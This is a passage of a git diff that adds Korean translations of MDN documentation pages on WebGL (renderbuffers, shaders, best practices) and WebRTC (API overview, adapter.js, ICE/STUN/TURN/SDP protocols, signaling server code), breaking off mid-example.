이제 앞 단원의 예제보다 더 보기 좋게 회전하는 정육면체를 볼 수 있을 것입니다. WebGL을 지원하는 브라우저라면 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/webgl_best_practices/index.html b/files/ko/web/api/webgl_api/webgl_best_practices/index.html new file mode 100644 index 0000000000..41f0bb7537 --- /dev/null +++ b/files/ko/web/api/webgl_api/webgl_best_practices/index.html @@ -0,0 +1,46 @@ +--- +title: WebGL best practices +slug: Web/API/WebGL_API/WebGL_best_practices +translation_of: Web/API/WebGL_API/WebGL_best_practices +--- +

{{WebGLSidebar}}

+ +

이 기사는 당신의 WebGL 콘텐트 질을 향상시키기 위한 제안과 팁을 제시합니다. 다음의 제안들을 따르면,  당신의 웹 애플리케이션이 더 많은 장치들과 브라우저들과의 호환성을 높일 수 있을 뿐만 아니라, 성능도 향상시킬 수 있게 도와줍니다.

+ +

피해야 할 것들

+ + + +

마음에 새겨야 할 것들

+ + + +

일반적인 성능 팁들

+ + diff --git a/files/ko/web/api/webglrenderbuffer/index.html b/files/ko/web/api/webglrenderbuffer/index.html new file mode 100644 index 0000000000..6cd95fc536 --- /dev/null +++ b/files/ko/web/api/webglrenderbuffer/index.html @@ -0,0 +1,64 @@ +--- +title: WebGLRenderbuffer +slug: Web/API/WebGLRenderbuffer +tags: + - 레퍼런스 + - 웹지엘 +translation_of: Web/API/WebGLRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderbuffer 인터페이스는 WebGL API 의 부분입니다. 그리고 이미지를 담거나 렌더링 연산의 소스나 타겟이 될 수 있는 버퍼를 말합니다. 

+ +

설명

+ +

WebGLRenderbuffer 오브젝트는 메소드나 프로퍼티를 정의 하지 않으며 직접적으로 접근할 수 없습니다.  When working with WebGLRenderbuffer 오브젝트와 작업하려면 다음의 {{domxref("WebGLRenderingContext")}} 메소드가 도움이 될 것입니다. 

+ + + +

+ +

렌더 버퍼 만들기

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createRenderbuffer();
+
+ +

스펙

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.7", "WebGLRenderbuffer")}}{{Spec2('WebGL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.WebGLRenderbuffer")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/webglshader/index.html b/files/ko/web/api/webglshader/index.html new file mode 100644 index 0000000000..b1bce2dc08 --- /dev/null +++ b/files/ko/web/api/webglshader/index.html @@ -0,0 +1,171 @@ +--- +title: WebGLShader +slug: Web/API/WebGLShader +translation_of: Web/API/WebGLShader +--- +
{{APIRef("WebGL")}}
+ +
WebGLShader 는 WebGL API 의 일부이며 정점 혹은 프래그먼트 셰이더가 될 수 있다. {{domxref("WebGLProgram")}} 는 두 타입의 셰이더 모두를 요구한다.
+ +
 
+ +

설명

+ +

WebGLShader 를 생성하려면 {{domxref("WebGLRenderingContext.createShader")}}를 사용한다. 그러고 나서는  {{domxref("WebGLRenderingContext.shaderSource()")}}를 사용해서 GLSL 소스 코드를 연결한다. 마지막으로{{domxref("WebGLRenderingContext.compileShader()")}}를 호출하고 셰이더를 컴파일한다. 이 시점에서 WebGLShader 는 여전히 사용할 수 있는 형식은 아니고{{domxref("WebGLProgram")}}에 부착되어야 한다.

+ +
function createShader (gl, sourceCode, type) {
+  // 셰이더 타입 gl.VERTEX_SHADER 또는 gl.FRAGMENT_SHADER 중 하나를 컴파일한다.
+  var shader = gl.createShader( type );
+  gl.shaderSource( shader, sourceCode );
+  gl.compileShader( shader );
+
+  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+    var info = gl.getShaderInfoLog( shader );
+    throw "Could not compile WebGL program. \n\n" + info;
+  }
+}
+
+ +

셰이더 부착에 관한 정보는 {{domxref("WebGLProgram")}} 를 참고한다.

+ +

예시들

+ +

정점 셰이더 생성하기

+ +

셰이더 소스 코드 문자열들을 작성하고 접근하는 많은 다른 방법들이 있다는 점에 주목하라. 여기의 예는 오직 설명을 목적으로 한다.

+ +
var vertexShaderSource =
+  "attribute vec4 position;\n"
+  "void main() {\n"+
+  "  gl_Position = position;\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+
+ +

프래그먼트 셰이더 생성하기

+ +
var fragmentShaderSource =
+  "void main() {\n"+
+  "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+
+ +

명세들

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebGL', "#5.8", "WebGLShader")}}{{Spec2('WebGL')}}Initial definition.
+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
Available in workers{{CompatNo}}{{CompatGeckoDesktop(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
Available in workers{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

See also

+ + diff --git a/files/ko/web/api/webrtc_api/adapter.js/index.html b/files/ko/web/api/webrtc_api/adapter.js/index.html new file mode 100644 index 0000000000..95b8400d3d --- /dev/null +++ b/files/ko/web/api/webrtc_api/adapter.js/index.html @@ -0,0 +1,40 @@ +--- +title: Improving compatibility using WebRTC adapter.js +slug: Web/API/WebRTC_API/adapter.js +translation_of: Web/API/WebRTC_API/adapter.js +--- +

{{WebRTCSidebar}}

+ +

WebRTC 사양은 비교적 인정적이지만, 모든 브라우저가 모든 기능이 구현되어 있는 것은 아니다. 또한, 일부 브라우저는 여전히 일부 혹은 모든 WebRTC API에 접두사가 붙어 있는상황이다. 이러한 문제에 대해 수동적으로 코딩을 할 수 있지만, 더 쉬운 방법이 있다.WebRTC 단체는 다른 브라우저의 WebRTC 구현에서 호환성 문제를 해결하기 위해 WebRTC 어댑터를 GitHub에서 제공한다. 어댑터는 WebRTC가 지원되는 모든 브라우저에서 "그냥 작동"되도록 당신이 작성한 코드가 사양에 적합하도록 해 주는 JavaScript 코드 모음이다. 더이상 접두사 API를 조건부로 사용하거나 다른 해결 방법을 구현할 필요가 없다.

+ +
+

참고: WebRTC 및 지원 브라우저에서 API 용어의 기능과 이름 지정이 지속적으로 변경되고 있기 때문에, 일반적으로 이 어댑터의 사용을 권장한다.

+
+ +

이 어댑터는 BSD 스타일 라이선스로 제공된다.

+ +

What adapter.js does

+ +

For each version of each browser that supports WebRTC, adapter.js implements the needed polyfills, establishes the non-prefixed names of APIs, and applies any other changes needed to make the browser run code written to the WebRTC specification.

+ +

For example, on Firefox versions older than 38, the adapter adds the {{domxref("RTCPeerConnection.urls")}} property; Firefox doesn't natively support this property until Firefox 38, while on Chrome, the adapter adds support for the {{jsxref("Promise")}} based API is added if it's not present. These are just a couple of examples; there are of course other adjustments made for you by the shim.

+ +

The WebRTC adapter currently supports Mozilla Firefox, Google Chrome, Apple Safari, and Microsoft Edge.

+ +

Using adapter.js

+ +

In order to use adapter.js, you need to include adapter.js on any page that uses WebRTC APIs:

+ +
    +
  1. Download a copy of the latest version of adapter.js from GitHub.
  2. +
  3. Place it in your site's directory structure (such as in your scripts directory).
  4. +
  5. Include adapter.js in your project: <script src="adapter.js"></script>
  6. +
  7. Write your code, using WebRTC APIs per the specification, knowing that your code should work on all browsers.
  8. +
  9. Keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser).
  10. +
+ +

See also

+ + diff --git a/files/ko/web/api/webrtc_api/index.html b/files/ko/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..6ecafcfd84 --- /dev/null +++ b/files/ko/web/api/webrtc_api/index.html @@ -0,0 +1,225 @@ +--- +title: WebRTC API +slug: Web/API/WebRTC_API +tags: + - API + - Audio + - Landing + - Media + - NeedsTranslation + - Networking + - TopicStub + - Video + - WebRTC + - WebRTC API + - streaming +translation_of: Web/API/WebRTC_API +--- +
{{APIRef("WebRTC")}}
+ +

WebRTC(Web Real-Time Communication)은 웹 애플리케이션과 사이트가 중간자 없이 브라우저 간에 오디오나 영상 미디어를 포착하고 마음대로 스트림할 뿐 아니라, 임의의 데이터도 교환할 수 있도록 하는 기술입니다. WebRTC를 구성하는 일련의 표준들은 플러그인이나 제 3자 소프트웨어 설치 없이 종단 간 데이터 공유와 화상 회의를 가능하게 합니다.

+ +

이를 위하여 WebRTC는 상호 연관된 API와 프로토콜로 구성되어 함께 작동합니다. 이 문서에서는 WebRTC의 기본을 이해하고, 설정하며, 데이터와 미디어 연결을 위해 사용할 수 있게 도와줄 것입니다.

+ +

상호 운용성

+ +

WebRTC의 구현이 계속 진화하고 있으며 각 브라우저마다 다른 코덱 및 기타 미디어 기능에 대한 지원 수준이 다르기 때문에, 코드 작성을 시작하기 전에 Google에서 제공하는 Adapter.js 라이브러리를 사용하는 것을 강력하게 고려해보아야합니다.

+ +

Adapter.js는 shim 및 polyfill을 사용하여 다양한 플랫폼에서 WebRTC 구현 간의 다양한 차이점을 없애줍니다. 또한 WebRTC 개발 프로세스를 전체적으로 쉽게 수행 할 수 있도록 접두사와 다른 이름 지정의 차이점을 처리하며보다 광범위하게 호환되는 결과를 제공합니다. 라이브러리는 NPM 패키지로도 제공됩니다.

+ +

Adapter.js에 대한 자세한 내용은 Improving compatibility using WebRTC adapter.js를 참조하십시오.

+ +

WebRTC 개념 및 사용법

+ +

WebRTC는 여러가지 목적으로 사용될 수 있으며, Media Capture and Streams API 와 상당히 많은 부분이 겹친다. 이 둘은 서로 상호작용을 하면서 웹에 강력한 멀티미디어 기능을 제공한다. 예를들어 음성, 화상 회의, 파일 교환, 계정 관리DTMF 시그널을 이용해 legacy telephone 시스템 interfacing 등이 있다. 피어들 간의 커넥션이 만들어지는데 어떤 드라이버나 플러그인도 필요하지 않는다. 그리고 가끔은 중개 서버 없이도 만들어질 수 있다.

+ +

두 피어 간의 커넥션은 RTCPeerConnection인터페이스를 통해 이루어진다. 커넥션이 이루어지고 열리면, 미디어 스트림들 (MediaStream) 과 데이터 채널(RTCDataChannel)들을 커넥션에 연결할 수 있다.

+ +

미디어 스트림들은 미디어 정보를 가지는 다수의 트랙들로 구성될 수 있다. MediaStreamTrack인터페이스 object를 베이스로 하는 트랙은 음성, 영상 및 텍스트(제목 또는 챕터 이름 조차도 포함 가능하다)를 포함하는 다양한 미디어 데이터의 타입 중 하나를 포함 할 수 있다. 대부분의 스트림들은 적어도 한 개 이상의 음성(영상) 트랙으로 구성되어 있고, live 미디어(웹 캠 등)나 저장된(스트리밍) 미디어들을 전송하고 받을 수 있다.

+ +

또한, 임의의 바이너리 데이터(이미지든 텍스트든 파일이든 모두 가능하다는 뜻)를 RTCDataChannel인터페이스를 통해 피어들 간에 교환할 수 있다. 이것은 back-channel 정보들, 메타데이터 교환, 게임 status 패킷들, 파일 교환, 데이터 교환을 위한 primary channel 등에 쓰일 수 있다.

+ +

더 자세한 내용은 밑에 guide와 tutorial을 참조하길 바란다

+ +

WebRTC 인터페이스

+ +

WebRTC는 다양한 작업을 수행하기 위해 함께 동작하는 인터페이스를 제공하기때문에 아래 목록의 인터페이스들을 카테고리별로 나누었다. 알파벳 순으로 정리된 목록은 사이드 바를 참조하라.

+ +

연결 설정 및 관리

+ +

이 인터페이스들을 사용하여 WebRTC 연결을 설정할 수 있고, 연결을 맺을 수 있으며 WebRTC 연결을 관리할 수 있다.

+ +
+
{{domxref("RTCPeerConnection")}}
+
로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 나타낸다. 두 피어 간의 효율적인 데이터 스트리밍을 처리하는데 사용된다.
+
{{domxref("RTCDataChannel")}}
+
연결된 두 피어간의 양방향 데이터 채널을 나타낸다.
+
{{domxref("RTCDataChannelEvent")}}
+
{{domxref("RTCDataChannel")}}을 {{domxref("RTCPeerConnection")}}에 연결하는 동안 발생하는 이벤트를 나타낸다. 이 인터페이스와 함께 전송되는 유일한 이벤트는 {{event("datachannel")}}이다.
+
{{domxref("RTCSessionDescription")}}
+
세션의 매개 변수를 나타냅니다. 각 RTCSessionDescription는 세션의  {{Glossary("SDP")}} 기술자(descriptor)의 기술 제안 / 응답 협상 과정의 일부를 나타내는 설명  {{DOMxRef("RTCSessionDescription.type", "type")}}으로 구성되어 있습니다.
+
{{domxref("RTCStatsReport")}}
+
연결 또는 연결의 개별 트랙에 대한 통계를 자세히 설명하는 정보를 제공합니다. {{domxref("RTCPeerConnection.getStats()")}}를 호출하여 보고서를 얻을 수 있습니다.
+
{{domxref("RTCIceCandidate")}}
+
{{domxref("RTCPeerConnection")}} 설정을 위한 후보 인터넷 연결 설정 (ICE; internet connectivity establishment) 서버를 나타냅니다.
+
{{domxref("RTCIceTransport")}}
+
인터넷 연결 설정 (ICE) 전송에 대한 정보를 나타냅니다.
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
대상이있는 ICE 후보와 관련하여 발생하는 이벤트 (일반적으로 {{domxref("RTCPeerConnection")}})를 나타냅니다. {{event ( "icecandidate")}} 유형의 이벤트 만 있습니다.
+
{{domxref("RTCRtpSender")}}
+
{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 인코딩 및 전송을 관리합니다.
+
{{domxref("RTCRtpReceiver")}}
+
{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 수신 및 디코딩을 관리합니다.
+
{{domxref("RTCTrackEvent")}}
+
새롭게 수신된 {{domxref ( "MediaStreamTrack")}}이 생성되고 관련 {{domxref ( "RTCRtpReceiver")}} 개체가 {{domxref ( "RTCPeerConnection")}} 개체에 추가되었음을 나타냅니다.
+
{{DOMxRef("RTCSctpTransport")}}
+
스트림 제어 전송 프로토콜(Stream Control Transmission Protocol, {{Glossary("SCTP")}}) 전송을 설명하는 정보를 제공하고, 모든 RTCPeerConnection 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, {{Glossary("DTLS")}}) 전송에 접근하기 위한 방법을 제공합니다.
+
+

Dictionaries

+
+
{{DOMxRef("RTCConfiguration")}}
+
RTCPeerConnection 구성 옵션을 제공하는데 사용됩니다.
+
{{DOMxRef("RTCIceServer")}}
+
Defines how to connect to a single {{Glossary("ICE")}} server (such as a {{Glossary("STUN")}} or {{Glossary("TURN")}} server).
+
{{DOMxRef("RTCRtpContributingSource")}}
+
Contains information about a given contributing source (CSRC) including the most recent time a packet that the source contributed was played out.
+
+

Types

+
+
{{DOMxRef("RTCSctpTransportState")}}
+
Indicates the state of an {{DOMxRef("RTCSctpTransport")}} instance.
+
{{DOMxRef("RTCSessionDescriptionCallback")}}
+
The RTCSessionDescriptionCallback is passed into the {{DOMxRef("RTCPeerConnection")}} object when requesting it to create offers or answers.
+
+ +

식별자와 보안

+ +

WebRTC API에는 보안 및 식별자를 관리하기위한 여러 인터페이스가 포함되어 있습니다.

+ +
+
{{domxref("RTCIdentityProvider")}}
+
사용자 에이전트가 Identity Assertion을 생성 또는 검증을 요청할수 있도록합니다.
+
{{domxref("RTCIdentityAssertion")}}
+
Represents the identity of the a remote peer of the current connection. If no peer has yet been set and verified this interface returns null. Once set it can't be changed.
+
{{domxref("RTCIdentityProviderRegistrar")}}
+
식별자 공급자(idP; identity provider)를 제공합니다.
+
{{domxref("RTCIdentityEvent")}}
+
Represents an identity assertion generated by an identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. The only event sent with this type is {{event("identityresult")}}.
+
{{domxref("RTCIdentityErrorEvent")}}
+
Represents an error associated with the identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. Two events are sent with this type: {{event("idpassertionerror")}} and {{event("idpvalidationerror")}}.
+
{{domxref("RTCCertificate")}}
+
Represents a certificate that an {{domxref("RTCPeerConnection")}} uses to authenticate.
+
+ +

Telephony

+ +

이러한 인터페이스들은 공중 전화망 (PTSN; public-switched telephone networks)과의 상호 작용과 관련이 있습니다

+ +
+
{{domxref("RTCDTMFSender")}}
+
Manages the encoding and transmission of dual-tone multi-frequency (DTMF) signaling for an {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCDTMFToneChangeEvent")}}
+
Indicates an occurrence of a of dual-tone multi-frequency (DTMF). This event does not bubble (except where otherwise stated) and is not cancelable (except where otherwise stated).
+
+ +

Guides

+ +
+
Introduction to WebRTC protocols
+
이 문서는 WebRTC API가 구축된 기반이 되는 프로토콜을 소개한다.
+
WebRTC connectivity
+
WebRTC 커넥션의 작동 방식 및 다양한 프로토콜과 인터페이스를 함께 사용하여 강력한 커뮤니케이션 앱을 만드는 방법에 대한 가이드이다.
+
Lifetime of a WebRTC session
+
WebRTC는 임의 데이터, 오디오, 비디오 또는 이들의 모든 조합에 대한 피어 투 피어 커뮤니케이션을 브라우저 어플리케이션으로 구축하도록 해준다. 이 문서에서는, 모든 방법으로 커넥션을 설정하는 것에서 부터 더 이상 필요하지 않을 때 커넥션을 닫는 것까지 WebRTC 세션의 수명에 대해 살펴볼 것이다.
+
Signaling and two-way video calling
+
여러 사용자들 간의 화상통화를 할 수 있는 Websocket을 기반으로한 튜토리얼 및 예제이다. 채팅 서버의 웹소켓 커넥션은 WebRTC의 시그널링을 위해 사용된다.
+
Codecs used by WebRTC
+
A guide to the codecs which WebRTC requires browsers to support as well as the optional ones supported by various popular browsers. Included is a guide to help you choose the best codecs for your needs.
+
Using WebRTC data channels
+
이 가이드는 두 피어 사이의 임의의 데이터를 교환하기 위해 피어 커넥션와 관련된 {{domxref("RTCDataChannel")}}을 사용할 수 있는 방법을 다룬다.
+
Using DTMF with WebRTC
+
구식 전화 시스템에 연결되는 게이트웨이와 상호 작용하기 위한 WebRTC의 지원에는 {{domxref("RTCDTMFSender")}} 인터페이스를 사용하여 DTMF 톤을 보내는 기능이 포함된다. 이 가이드는 어떻게 그렇게 하는지 보여준다.
+
+ +

Tutorials

+ +
+
Improving compatibility using WebRTC adapter.js
+
The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.
+
Taking still photos with WebRTC
+
This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.
+
A simple RTCDataChannel sample
+
The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the WebSocket API, so that the same programming model can be used for each.
+
+ +

Resources

+ +

Protocols

+ +

WebRTC-proper protocols

+ + + + + + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}The initial definition of the API of WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}The initial definition of the object conveying the stream of media content.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}The initial definition on how to obtain stream of content from DOM Elements
+ +

In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under resources.

+ + + + diff --git a/files/ko/web/api/webrtc_api/protocols/index.html b/files/ko/web/api/webrtc_api/protocols/index.html new file mode 100644 index 0000000000..0c417aa619 --- /dev/null +++ b/files/ko/web/api/webrtc_api/protocols/index.html @@ -0,0 +1,57 @@ +--- +title: WebRTC 프로토콜 소개 +slug: Web/API/WebRTC_API/Protocols +translation_of: Web/API/WebRTC_API/Protocols +--- +
{{WebRTCSidebar}}{{draft}}
+ +

이 글은 WebRTC API에 대한 프로토콜을 소개하기 위해 작성 되었습니다.

+ +

ICE

+ +

Interactive Connectivity Establishment (ICE) 는 브라우저가 peer를 통한 연결이 가능하도록 하게 해주는 프레임워크입니다. Peer A에서 Peer B까지 단순하게 연결하는 것으로는 작동하지 않는 것에 대한 이유는 많이 있습니다. 연결을 시도하는 방화벽을 통과해야하기도 하고, 단말에 퍼블릭 IP가 없다면 유일한 주소값을 할당해야할 필요도 있으며 라우터가 peer간의 직접연결을 허용하지 않을 때에는 데이터를 릴레이해야할 경우도 있습니다. ICE는 이러한 작업을 수행하기 위해 STUND과 TURN 서버 둘다 혹은 하나의 서버를 사용합니다.

+ +

STUN

+ +

Session Traversal Utilities for NAT (STUN) (단축어 안의 단축어) 는 당신의 공개 주소(public address)를 발견하거나 peer간의 직접 연결을 막는 등의 라우터의 제한을 결정하는 프로토콜입니다.

+ +

클라이언트는 인터넷을 통해 클라이언트의 공개주소와 라우터의 NAT 뒤에 있는 클라이언트가 접근가능한지에 대한 답변을 위한 요청을 STUN서버에 보냅니다.

+ +

An interaction between two users of a WebRTC application involving a STUN server.

+ +

NAT

+ +

Network Address Translation (NAT) 는 단말에 공개 IP주소를 할당하기 위해 사용됩니다. 라우터는 공개 IP 주소를 갖고 있고 모든 단말들은 라우터에 연결되어 있으며 비공개 IP주소(private IP Address)를 갖고 있습니다. 요청은 단말의 비공개 주소로부터 라우터의 공개 주소와 유일한 포트를 기반으로 번역될 것입니다. 이러한 경유로 각각의 단말이 유일한 공개 IP 없이 인터넷 상에서 검색 될 수 있는 방법입니다.

+ +

어떠한 라우터들은 네트워크에 연결할수 있는 제한을 갖고 있습니다. 따라서 STUN서버에 의해 공개 IP주소를 발견한다고 해도 모두가 연결을 할수 있다는 것은 아닙니다. 이를 위해 TURN이 필요합니다.

+ + + +

TURN

+ +

몇몇의 라우터들은 Symmetric NAT이라고 불리우는 제한을 위한 NAT을 채용하고 있습니다. 이 말은 peer들이 오직 이전에 연결한 적 있는 연결들만 허용한다는 것입니다. 

+ +

Traversal Using Relays around NAT (TURN) 은 TURN 서버와 연결하고 모든 정보를 그 서버에 전달하는 것으로 Symmetric NAT 제한을 우회하는 것을 의미합니다. 이를 위해 TURN 서버와 연결을 한 후 모든 peer들에게 저 서버에 모든 패킷을 보내고 다시 나에게 전달해달라고 해야 합니다. 이것은 명백히 오버헤드가 발생하므로 이 방법은 다른 대안이 없을 경우만 사용하게 됩니다.

+ +

An interaction between two users of a WebRTC application involving STUN and TURN servers.

+ +

SDP

+ +

Session Description Protocol (SDP) 은 해상도나 형식, 코덱, 암호화등의 멀티미디어 컨텐츠의 연결을 설명하기 위한 표준입니다. 이러한 것이 두개의 peer가 다른 한쪽이 데이터가 전송되고 있다는 것을 알게 해줍니다. 이것은 기본적으로 미디어 컨텐츠 자체가 아닌 컨텐츠에 대한 메타데이터 설명이 됩니다. 

+ +

기술적으로 보자면 SDP 는 프로토콜이 아닙니다. 그러나 데이터 포멧은 디바이스간의 미디어를 공유하기 위한 연결을 설명하기 위해 사용됩니다.

+ +

SDP의 문서화는 다른 웹상에서도 잘되어 있으므로 이 문서에서는 간단히 소개하는 것으로 마무리 짓도록 하겠습니다.

+ +

구조

+ +

SDP는 한줄 이상의 UTF-8 텍스트로 구성됩니다. 이 텍스트의 시작은 한글자로 구성되며 한글자 뒤에 등호기호 ("=")가 옵니다. 그리고 그 뒤에는 포멧에 맞게 값이나 설명이 적혀있습니다. 한글자로 시작되는 그 글자는 일반적으로 "letter-lines"를 뜻합니다. 예를들어 미디어 설명을 제공하는 것이라면 "m" 이라고 적어두고 이것은 m-lines을 뜻합니다.

+ +

자세히

+ +

SDP에 대해 더 알고 싶으시다면 아래 유용한 자료들이 있습니다.

+ + diff --git a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..012c96f114 --- /dev/null +++ b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,651 @@ +--- +title: Signaling and video calling +slug: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +

{{WebRTCSidebar}} 

+ +
+

s이 글은 편집 및 검토가 필요하다. 도움을 줄 수 있는 방법을 살펴보자. 

+ +

WebRTC는 아직까지 실험적인 기술이다.
+ 일부의 기술 스펙이 안정화가 되지 않았기 때문에 각 브라우져에서 사용가능한 호환성 정보를 확인해야한다. 또한, 기술의 문법과 패턴들은 스펙이 바뀌는 것처럼 브라우져의 버전이 높아진다면 변경될 수 있다.

+
+ +

Summary  

+ +

WebRTC 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. 다른 곳에서 논의한 것 처럼 서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 시그널링 signaling 이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 negotiation(협의) 메세지들을 교환할 수 있도록 한다.

+ +

이 글에서 우리는 더 나아가 유저들간에 양방향으로 화상 통화가 되는 예제인 WebSocket chat(웹소켓 문서를 작성하기 위해 만들어졌으며, 링크는 곧 활성화 될 것이다. 아직은 온라인으로 테스트가 불가능하다.)을 작동이 되도록 만들 예정이다. 이것에 관해 샘플 을 확인해 보거나 Github에서 전체 프로젝트를 확인해볼 수 있다.

+ +
+

깃헙에 있는 테스트 서버 코드는 앞으로 공부할 예제 코드보다 최신 버전이다. 이 글은 현재 업데이트 진행 중이며, 곧 완료될 예정이다. 업데이트가 완료된다면 이 글을 사라질 것이다.

+
+ +
+

앞으로 나올 예제들은 promise 를 사용한다. 만약 너가 이것을 잘 모른다면 이 글을 읽어 보길 바란다.

+
+ +

The signaling server

+ +

두 디바이스들 사이에 WebRTC 커넥션을 만들기 위해, 인터넷 네트워크에서 그 둘을 연결 시키는 작업을 해줄 signaling server 가 필요하다. 어떻게 이 서버를 만들고 실제로 시그널링 과정이 어떻게 되는지 살펴보자.

+ +

가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 WebSocket 이든 XMLHttpRequest 든 상관없다.

+ +

여기서 중요한 점은 시그널링 서버는 시그널링 데이터 내용을 몰라도 된다는 것이다. 비록 이것은 SDP 이지만, 몰라도 큰 문제가 되진 않는다. 메세지의 내용들은 그저 시그널링 서버를 통해 상대편으로 가기만 하면된다. 중요한 점은 ICE subsystem이 신호 데이터를 다른 피어에게 보내도록 지시하면, 다른 피어는 이 정보를 수신하여 자체 ICE subsystem에 전달하는 방법을 알고 있다는 것이다.

+ +

Readying the chat server for signaling

+ +

이 chat server 는 클라이언트와 서버 사이에 WebSocket API을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.

+ +

이제, WebRTC 시그널링을 지원하는 chat server를 만들기 위해 어떻게 해야하는지 보자. 앞으로 나오는 코드들은 chatserver.js 안에 있는 코드이다.

+ +

우선 sendToOneUser()함수를 추가하자. 이름이 말하듯, stringified JSON 메세지를 특정한 유저에게 보내는 것이다.

+ +
function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i<connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].sendUTF(msgString);
+      break;
+    }
+  }
+}
+ +

이 함수는 연결된 유저 리스트를 확인하면서 특정한 username을 가지는 유저을 찾고, 이 유저에게 메세지를 보낸다. 함수의 인자로 들어가는 메시지 msgString은 stringified JSON object 이다. Stringified 가 아닌 원본의 메세지 object를 받도록 해도 되지만, JSON이 더 유용하고 편하다. 이 메세지는 이미 stringified 된 상태로 함수에 전달되기 때문에, 더 이상의 메세지에 관한 처리 없이 메세지를 그대로 보내기만 하면 된다. 

+ +

원본 chat demo는 특정 유저에게 메세지를 보내는 것을 지원하지 않는다. Main WebSocket message handler를 수정해야 이것이 가능하게 되며, 구체적으로는connection.on()함수의 마지막 부분을 수정하면 된다.

+ +
if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  // If the message specifies a target username, only send the
+  // message to them. Otherwise, send it to every user.
+  if (msg.target && msg.target !== undefined && msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
